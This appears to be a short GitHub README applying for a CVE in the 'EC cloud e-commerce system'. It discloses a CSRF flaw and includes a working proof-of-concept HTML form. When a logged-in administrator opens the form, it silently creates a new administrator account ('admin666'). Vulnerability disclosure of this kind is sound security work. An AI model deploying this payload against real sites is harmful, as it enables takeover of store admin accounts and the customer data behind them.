Ryan0lb Update README.md History

1 contributor

23 lines (22 sloc) | 1.03 KB

EC-cloud-e-commerce-system-CVE-application

EC cloud e-commerce system CVE application
Discover:Yu Yang
There is one CSRF vulnerability that can add the administrator account
After the administrator logged in, open the following page
poc:

```
<body>
<script>history.pushState('', '', '/')</script>
  <form action="http://192.168.59.129/admin.html?do=user&act=add" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="username" value="admin666" />
    <input type="hidden" name="name" value="" />
    <input type="hidden" name="pwd" value="admin666" />
    <input type="hidden" name="status" value="1" />
    <input type="hidden" name="role&#95;id&#91;&#93;" value="1" />
    <input type="hidden" name="action" value="user" />
    <input type="hidden" name="act" value="add" />
    <input type="hidden" name="id" value="" />
    <input type="submit" value="Submit request" />
  </form>
</body>
```